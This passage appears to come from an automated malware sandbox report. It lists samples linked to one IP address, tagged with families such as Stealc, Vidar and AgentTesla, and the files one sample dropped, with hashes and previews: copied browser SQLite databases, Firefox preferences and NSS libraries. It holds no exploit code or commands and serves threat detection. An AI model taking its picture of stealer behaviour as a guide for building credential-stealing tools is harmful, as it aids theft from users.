	2QaN4hOyJs.exe	Get hash	malicious	XWorm	Browse	20.198.119.84
	YgJ5inWPQO.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	20.198.119.84
	P0RN-vidz.Client.exe	Get hash	malicious	ScreenConnect Tool	Browse	20.198.119.84
	2AIgdyA1Cl.exe	Get hash	malicious	Stealc, Vidar	Browse	20.198.119.84
	Sentinelled.vbs	Get hash	malicious	Unknown	Browse	20.198.119.84
	mniscreenthinkinggoodforentiretimegoodfotbusubessthings.hta	Get hash	malicious	Cobalt Strike	Browse	20.198.119.84
	QUOTATION#008792.exe	Get hash	malicious	AgentTesla	Browse	20.198.119.84
	Invoice DHL - AWB 2024 E4001 - 0000731.exe	Get hash	malicious	Snake Keylogger	Browse	20.198.119.84

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	2AIgdyA1Cl.exe	Get hash	malicious	Stealc, Vidar	Browse
	1QNOKwVoOT.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse
	R2CgZG545D.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse
	1So9BcQi1J.exe	Get hash	malicious	Stealc, Vidar	Browse
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse
	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	ZXVcgrmGRM.exe	Get hash	malicious	Stealc, Vidar	Browse
	D2Cw8gWOXj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	2AIgdyA1Cl.exe	Get hash	malicious	Stealc, Vidar	Browse
	1QNOKwVoOT.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse
	R2CgZG545D.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse
	1So9BcQi1J.exe	Get hash	malicious	Stealc, Vidar	Browse
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse
	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	ZXVcgrmGRM.exe	Get hash	malicious	Stealc, Vidar	Browse
	D2Cw8gWOXj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AKKKECBKKECGCAAAEHJK

Download File

Process:	C:\Users\user\Desktop\2BI8rJKpBa.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\BGCFBGDHJKFIEBFIECGH

Download File

Process:	C:\Users\user\Desktop\2BI8rJKpBa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DAEBFHJKJEBFCBFHDAEG

Download File

Process:	C:\Users\user\Desktop\2BI8rJKpBa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DAEBFHJKJEBFCBFHDAEGHCBFBG

Download File

Process:	C:\Users\user\Desktop\2BI8rJKpBa.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DHDBGHCBAEGCBFHJEBFIEHCBFB

Download File

Process:	C:\Users\user\Desktop\2BI8rJKpBa.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FCAKFCGC

Download File

Process:	C:\Users\user\Desktop\2BI8rJKpBa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KEGDBFIJ

Download File

Process:	C:\Users\user\Desktop\2BI8rJKpBa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_2BI8rJKpBa.exe_c415fabd26930ebe2a484b6b7713ea2a0b1b625_97ca5c95_ef852bae-049c-4460-940e-fcb00de9defd\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0562735702799582
Encrypted:	false
SSDEEP:	192:6z7Ur2Gon0TJO4jsqZrP2fa8zuiFTZ24IO8b:B2B0TJO4jl18zuiFTY4IO8b
MD5:	5D181676E80BFF99A9A307D16E7DEE33
SHA1:	D1468DF589C821C2F699D74A02217D99678900DD
SHA-256:	6B480F1624AE3407EE157FA6A62643E1AC178C680E6E2B11E5FA2A7CC745FDE8
SHA-512:	257D1D1FBE2B8020B4505A272FA0FA24191BDA7D0495877A5B9A26B5EE49D8813297A7C6F75D81CEE5DF97C60165147B0666B9734E188ED83B73848EC4B00784
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.9.2.0.5.1.6.7.0.3.4.5.3.1.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.9.2.0.5.1.6.7.4.2.5.1.4.7.0.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.f.8.5.2.b.a.e.-.0.4.9.c.-.4.4.6.0.-.9.4.0.e.-.f.c.b.0.0.d.e.9.d.e.f.d.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.1.2.8.3.c.9.5.-.3.7.b.f.-.4.4.b.9.-.b.6.d.e.-.7.0.c.5.7.b.d.d.2.a.4.7.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.2.B.I.8.r.J.K.p.B.a...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.b.1.4.-.0.0.0.1.-.0.0.1.5.-.d.0.2.b.-.7.f.6.3.2.9.5.3.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.1.7.1.d.d.0.3.9.d.0.d.0.6.a.0.0.1.f.c.8.f.7.e.f.e.5.a.8.8.d.4.b.0.0.0.0.f.f.f.f.!.0.0.0.0.e.4.7.b.c.5.c.3.d.b.4.c.f.b.c.6.8.d.f.b.e.6.c.4.8.a.8.8.c.8.7.c.2.9.b.3.8.a.1.3.!.2.B.I.8.r.J.K.p.B.a...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_2BI8rJKpBa.exe_eb6876dff573e2edf836176621913b955c23516_97ca5c95_d1976443-7361-4247-9c67-3548934a2590\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0556500721390714
Encrypted:	false
SSDEEP:	192:IIv1r2wX40CN+qjsqZrP2fa8zuiFTZ24IO8+:t52gTCN+qjl18zuiFTY4IO8+
MD5:	A5581793527C9CAA206A1C6196E82BE7
SHA1:	FCAE98C0ABC36A29B8A7956E9062FE287E8EFEFD
SHA-256:	C70419858182509E32BB55BE682820D7C50B0165C6369E07236571316F1E0F80
SHA-512:	1068B1C5D53683C10CA5EB0A99AFE74AEC27040F75403D678CF87E09FF4463980E749AEB45764612132E8A22C878BE806AA5670898769D7EDFACBFD55F37E1D4
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.9.2.0.5.1.6.6.1.4.8.5.7.2.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.1.3.1.0.7.2.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.1.9.7.6.4.4.3.-.7.3.6.1.-.4.2.4.7.-.9.c.6.7.-.3.5.4.8.9.3.4.a.2.5.9.0.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.5.2.a.8.6.6.0.-.b.5.0.8.-.4.d.0.a.-.8.4.d.b.-.5.7.7.f.a.5.d.3.c.c.f.1.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.2.B.I.8.r.J.K.p.B.a...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.b.1.4.-.0.0.0.1.-.0.0.1.5.-.d.0.2.b.-.7.f.6.3.2.9.5.3.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.1.7.1.d.d.0.3.9.d.0.d.0.6.a.0.0.1.f.c.8.f.7.e.f.e.5.a.8.8.d.4.b.0.0.0.0.f.f.f.f.!.0.0.0.0.e.4.7.b.c.5.c.3.d.b.4.c.f.b.c.6.8.d.f.b.e.6.c.4.8.a.8.8.c.8.7.c.2.9.b.3.8.a.1.3.!.2.B.I.8.r.J.K.p.B.a...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.1.2././.2.0.:.1.8.:.3.4.:.5.1.!.0.!.2.B.I.8.r.J.K.p.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9CB1.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Dec 20 21:52:46 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	62288
Entropy (8bit):	2.642464709703708
Encrypted:	false
SSDEEP:	384:loPK4gE+kjZpxc7IWH0Hq/0X9CeIPUj2TAoV:WP/gEZOACQjJ
MD5:	547065EF7D84C0B93042A21F0E07EDB8
SHA1:	057FD7E9C6359DADD5D654BDD5AB7638F1EF8A86
SHA-256:	4C8E52179B88C32BD4D9C92E36A000E90542EC8EA00F00A038ADDBDA4E18424A
SHA-512:	FFA0B59339B3EE8F867916B04065D6E7A5DD3FA616080C131BE43A073B6A82488BD685435043FD4DC8F6042E18F6A2E1583A9F9310CBC6814051F9AF292DA529
Malicious:	false
Preview:	MDMP..a..... .........eg............4...........p...<...........82..........T.......8...........T............Z..@............"...........$..............................................................................eJ......0%......GenuineIntel............T.............eg.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9E19.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8416
Entropy (8bit):	3.6942211446624693
Encrypted:	false
SSDEEP:	192:R6l7wVeJnN6XjSe6Y2DFSUJs/gmf9J8TZpN+89bRQ1fbfbm:R6lXJN6z76YYSUJsgmf9J+FRafm
MD5:	72D03C2E33DF2D4DFC200D8C4119DB89
SHA1:	88342394B6C51C3B40FAC15F260526CDBD3D8149
SHA-256:	F1A9BCF5E170692EC064BF33478FBC147DA999369A505FDEA0E26D3CAF200FF7
SHA-512:	2403DEB61783005F4D2A8A590974DF1EC945F8AB190D175DBEC74F6F9B4819CE85BFB789FD3F1E683291322E2F4540745C1635023601BD09E2DC2C1FB09704FB
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.2.8.3.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9E39.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4686
Entropy (8bit):	4.450342577582199
Encrypted:	false
SSDEEP:	48:cvIwWl8zsnJg77aI9hjGVWpW8VYleYm8M4JJQv4FX+q8vqv6iKPpuxuDwM8d:uIjfJI7v/7VsXJ5K7PYQL8d
MD5:	013C99010BA257424924C07298462994
SHA1:	7C341FDFF871BC8C60D5465F47FF635D2956C3E1
SHA-256:	80E4F0ACCA6EAE4D131BC0299B174CE57CD0AF947EB45262735939CCDF9E6550
SHA-512:	D0F18A7883649E7346E8A8345134806A2465EA27E07B8947C6B221551A76C6FBE08E73811896363DA6F4ADB1E2F4F1E3986A743469DFE1C107A7093038DA476E
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="640135" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA01C.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Dec 20 21:52:47 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	58503
Entropy (8bit):	2.7523578907604636
Encrypted:	false
SSDEEP:	384:9oPxsgEcmjISQ2MXvSI+HwnuRQtwdAQBeQvwtLuCHVNyz:eP2gEvQRtu1NCHVsz
MD5:	27F5B287831AB946709B9903135B5988
SHA1:	5976AE0446DA78ACD06D03374A3977D7DD25AA00
SHA-256:	C6FCB557434D52E3F241417EE34B193BFA9F6F587C6C1BC80323C05F8ED61FC0
SHA-512:	E1DBF3908C074818997EC5F9079347A479885154578739D9FD08E9398C1DB940FA8F563EDEA40BB83438D10FC1E40E443AD37446C171DB1F36C26903B7E57C86
Malicious:	false
Preview:	MDMP..a..... ......./.eg............4...........p...<.......d...82..........T.......8...........T............Y..............."...........$..............................................................................eJ......0%......GenuineIntel............T.............eg.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA09A.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8352
Entropy (8bit):	3.6960218069469715
Encrypted:	false
SSDEEP:	192:R6l7wVeJn06BjSe6Y2D0SU27gmfWJTG6pD089bIAsf3tYm:R6lXJ06V76YZSU27gmfWJiGITfn
MD5:	E9D44E4F6891E19362D59F4E134A1164
SHA1:	F1F65FE0B67E7DFCAE2F92CC46511A691E4C6234
SHA-256:	A9140F0CA0107CCD725A657BC0E2341D3DF5EC9C54E0C5364047A87D242A9667
SHA-512:	5A0DC0E95249F194704D5E5EF5AF761F69F1B552E8610DA2FF48D9ABF1B5AA172F937BFDA6AE4F045F487E18A78B8AD7EA1D1FE8FE6EE65CC1DD5C14286B05E5
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.2.8.3.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA0CA.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4585
Entropy (8bit):	4.463436047573246
Encrypted:	false
SSDEEP:	48:cvIwWl8zsnJg77aI9hjGVWpW8VY3Ym8M4JJQvPFJA+q8OAwiKPpuxuDwMdd:uIjfJI7v/7VzJyANPYQLdd
MD5:	9F1D8645BE5AB263CC0BA131D2D9F42C
SHA1:	5EEDDEFD39DD9950CF7F1481378B35DB67A52413
SHA-256:	534B9D720A9A182B29F1D12B30D4F497AD625D91FCE8590EBF9DE86FF7B214F4
SHA-512:	8E5218FF6E6B5E19EE9C75350EB7ED32F13F2C6A0488F865D5115F0717D5CE3E7EFD2E9C7C3D4FA748F54AECFBB0F5833A4975D405D59DE1326313E55D421966
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="640135" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\2BI8rJKpBa.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
